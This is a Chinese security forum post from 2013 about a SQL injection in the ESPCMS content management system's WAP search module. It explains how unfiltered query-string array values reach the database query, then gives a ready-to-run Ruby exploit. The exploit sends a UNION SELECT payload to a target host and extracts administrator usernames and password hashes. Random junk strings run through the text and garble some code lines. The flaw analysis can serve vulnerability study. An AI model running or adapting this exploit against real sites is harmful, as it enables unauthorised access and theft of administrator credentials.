找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2114|回复: 0
打印 上一主题 下一主题

espcms wap模块搜索处SQL注入

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-27 18:31:52 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
0×0 漏洞概述0×1 漏洞细节
' u" N7 P; J; K9 G8 X0×2 PoC
6 a/ I% b, O5 z) n
( z  P6 x' q3 h# e. I4 v( I
* D; w2 U8 E3 D% D- J1 e7 o1 C# h6 W/ W  |+ J
0×0 漏洞概述
3 f6 m0 T: _' ~+ d0 B; g
0 w9 g" K, x2 P+ t& r1 `* z易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。
2 @! E9 O0 {7 G9 |. W( i9 F, ?$ z其在处理传入的参数时考虑不严谨导致SQL注入发生; M% o- p4 I$ P9 F# i( C# N2 s

* l0 o* O1 r4 ?" b1 _3 H7 r+ a: R' |$ Q0 |
0×1 漏洞细节
' m/ o* Y+ o0 M+ ]$ E2 s. K- h: z+ L
; v9 D( \5 ?& V/ {% ]( ~变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。( {, d1 Z) m' A
正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。7 j" g, a0 r3 x
而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入
% i5 z$ Y, E9 t* W( R8 `/ L! S  e5 ?
在/interface/3gwap_search.php文件的in_result函数中:! ]/ T" f  w% ^9 X/ x0 v% g4 x: o
0 X, t/ k0 b2 N8 E$ `9 m4 R# h
# |: m/ }" A3 i- b0 y) f
7 k- @) R0 b! @: g/ X# Z9 T
       function in_result() {+ f* ~. P) k9 ~6 Y4 H
            ... ... ... ... ... ... ... ... ...
/ p% ]# @( Z) n3 X) A            $urlcode = $_SERVER[ 'QUERY_STRING '];2 p! w0 D4 R( U! `# \9 _
            parse_str(html_entity_decode($urlcode), $output);
& h0 t* q5 W$ {7 N
. s) }5 @1 t5 r6 }1 b; a            ... ... ... ... ... ... ... ... ...
* z* K9 H  s( t1 A; Y/ H1 J7 M            if (is_array($output['attr' ]) && count($output['attr']) > 0) {
' A( G8 k" Q/ h4 n1 h8 U- U) F7 F4 j2 A6 s; b, p2 t
                  $db_table = db_prefix . 'model_att';
8 q7 D* l4 g3 A1 e( F: h; e" j/ a* ^. [) O1 d! L# v% @$ I  b
                   foreach ($output['attr' ] as $key => $value) {
$ G4 L8 ~3 A+ d  C                         if ($value) {! p/ N( A, F+ u+ @' c* x2 C

0 G2 g# ]  V# o4 F0 f: @) ?9 ]                              $key = addslashes($key);3 |5 P5 D% z5 s' G* n6 G' q' Q
                              $key = $this-> fun->inputcodetrim($key);
1 o& b8 w4 Y% I2 n0 y1 w% r                              $db_att_where = " WHERE isclass=1 AND attrname='$key'";
8 r  D& p! y+ C# o. x7 b7 U1 o                              $countnum = $this->db_numrows($db_table, $db_att_where);
5 c) v% M) ^+ `( }4 Y6 ]8 `, ]- \                               if ($countnum > 0) {
* t9 O4 e" p; f) C- s                                    $db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;: U% S$ E  q% ]
                              }( y" [0 p2 [+ v3 h
                        }7 B7 L0 g& _  |* u
                  }% d$ D! e. {8 Q3 o! v" ?4 I3 g, w
            }
5 b6 G( e/ N/ |  s            if (!empty ($keyword) && empty($keyname)) {
3 Q6 B7 [5 I+ V5 S) A, n                  $keyname = 'title';& T$ P+ I4 A* ?* m' A& M. O. V+ V
                  $db_where.= " AND a.title like '%$keyword%'" ;
, ]8 H* N; m1 O0 Z9 k            } elseif (!empty ($keyword) && !empty($keyname)) {% o& v; U& f$ D0 p  K) t
                  $db_where.= " AND $keyname like '% $keyword%'";
9 X6 |+ K! ~% ^            }/ e& g$ w9 D" S( w8 [7 {
            $pagemax = 15;% A) P7 B9 k0 _7 E; a, x% V
3 E! `- r: }4 G+ ]+ X: _( \
            $pagesylte = 1;
+ _0 L) ?7 b1 Z2 p% X& G5 x- x  {) G- c( _/ ~& E. @, m" G* C
             if ($countnum > 0) {
0 x/ Z* g; ^6 {2 g$ `6 n9 S" e7 i0 N, X
                  $numpage = ceil($countnum / $pagemax);
. P" S# Q; U, h5 Q            } else {( [) U' I  a; y8 A
                  $numpage = 1;
4 w2 y3 ?0 [7 \' \0 {0 d- w            }+ z+ h  \9 |$ a2 m: j6 v; ~
            $sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;
- F2 \% j: z0 z! }            $this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);' G; h, S* i' A, z( H
$sql = $this-> htmlpage->PageSQL('a.did' , 'down' );            $rs = $this->db->query($sql);
# {# E; s9 I" D: I; o; w            ... ... ... ... ... ... ... ... ...) e4 U( i* D% P& g2 k0 k
      }
- v; t2 V# q4 f* a: y6 w/ d+ b8 [1 q5 a% W$ u4 J! u

/ k6 A2 A& |* L0×2 PoC
* |. e+ H  x4 h. H0 v9 ]
0 m" q# a4 s6 k( Q9 P9 B; Q" U$ d, M5 q
* I; ~, x1 a+ \7 Z% ~$ g% y* g
require "net/http"
4 ?) B9 w" C0 d! N& I2 W
/ h2 m$ D! K% [  X, n& [def request(method, url)
( E( _/ l: P+ A$ }, C. ^  @( s* G    if method.eql?("get")
& F- I9 z5 ]# ]) ?2 ]" m        uri = URI.parse(url)7 |9 ^- y& i+ a
        http = Net::HTTP.new(uri.host, uri.port)
* s5 L0 E  }: ~3 V; g( v2 W* n        response = http.request(Net::HTTP::Get.new(uri.request_uri))
" g0 @1 U, s: {" b* f+ H        return response
. p5 L0 N+ s/ S) P/ p' J    end
2 X& X  k6 W# s. \, }  [end
8 ]/ T  p4 A/ _! j5 J6 A
5 @+ S5 ^8 c+ {. {# p0 J! g, Gdoc =<<HERE
$ C; P* F8 b6 ]2 J1 a* n' `) D& X-------------------------------------------------------
. k2 F5 x; ?2 O2 z* w1 b0 DEspcms Injection Exploit
( N6 o9 t  h0 `1 j! j! ~9 b4 |Author:ztz) P/ d8 z# k( b% U4 y, a: Y9 Z' y
Blog:http://ztz.fuzzexp.org/
  a. K; t$ F5 W-------------------------------------------------------5 b5 E8 f& F4 g2 U

9 s" b6 S) v/ K& }HERE
! A* a7 r" I3 x2 z: W. i/ W, m6 T9 u8 x' ]$ @- R* i
usage =<<HERE
; u* g+ d+ T# @; L' L! e" dUsage:         ruby #{$0} host port path
+ `: u, f. Z+ D. ]' Z+ |6 g! qexample:     ruby #{$0} www.target.com 80 /
4 E8 B9 E- I1 s  LHERE' Z& G% t+ O, O8 i
* _0 |5 N4 f3 O
puts doc4 p' t; H; ]4 A3 v: X/ e
if ARGV.length < 3
$ R0 X. Y# {3 e5 f2 B    puts usage
. C" m% I. \: ^" b% ]8 Nelse
% u8 S) A4 z5 h    $host = ARGV[0]1 x) X  w' j  A0 j) I- t+ v
    $port = ARGV[1]
( `" G: C4 J6 j' t. m    $path = ARGV[2]& E% Q9 j1 G" O0 v7 k, ?
  @  r* H( c3 j$ X7 o5 m  ]% r' Y7 b
    puts "
  • send request..."
    9 h8 g0 P9 E# r# m* }    url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&; A# Y! ~5 p- l- D
    attr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,136 S5 w) v, [& T2 R7 \" |& Y4 |
    ,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,27
    ) G7 F' p9 b, J& |2 s3 b# M) E,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"
    ; `4 g% N9 K1 n7 }% C- M    response = request("get", url)' g+ H1 ]! I) g5 j0 `5 ^5 Y
        result = response.body.scan(/\w+&\w{32}/), V0 H3 k3 C4 ]7 \- J3 ]
        puts result
    5 D0 V1 l* j! M' Q( G  n7 Lend
    ( X: i7 R% p+ c' W& w; Y% R' R* n& U3 s# X- a2 u8 W" v& T
  • 回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 立即注册

    本版积分规则

    快速回复 返回顶部 返回列表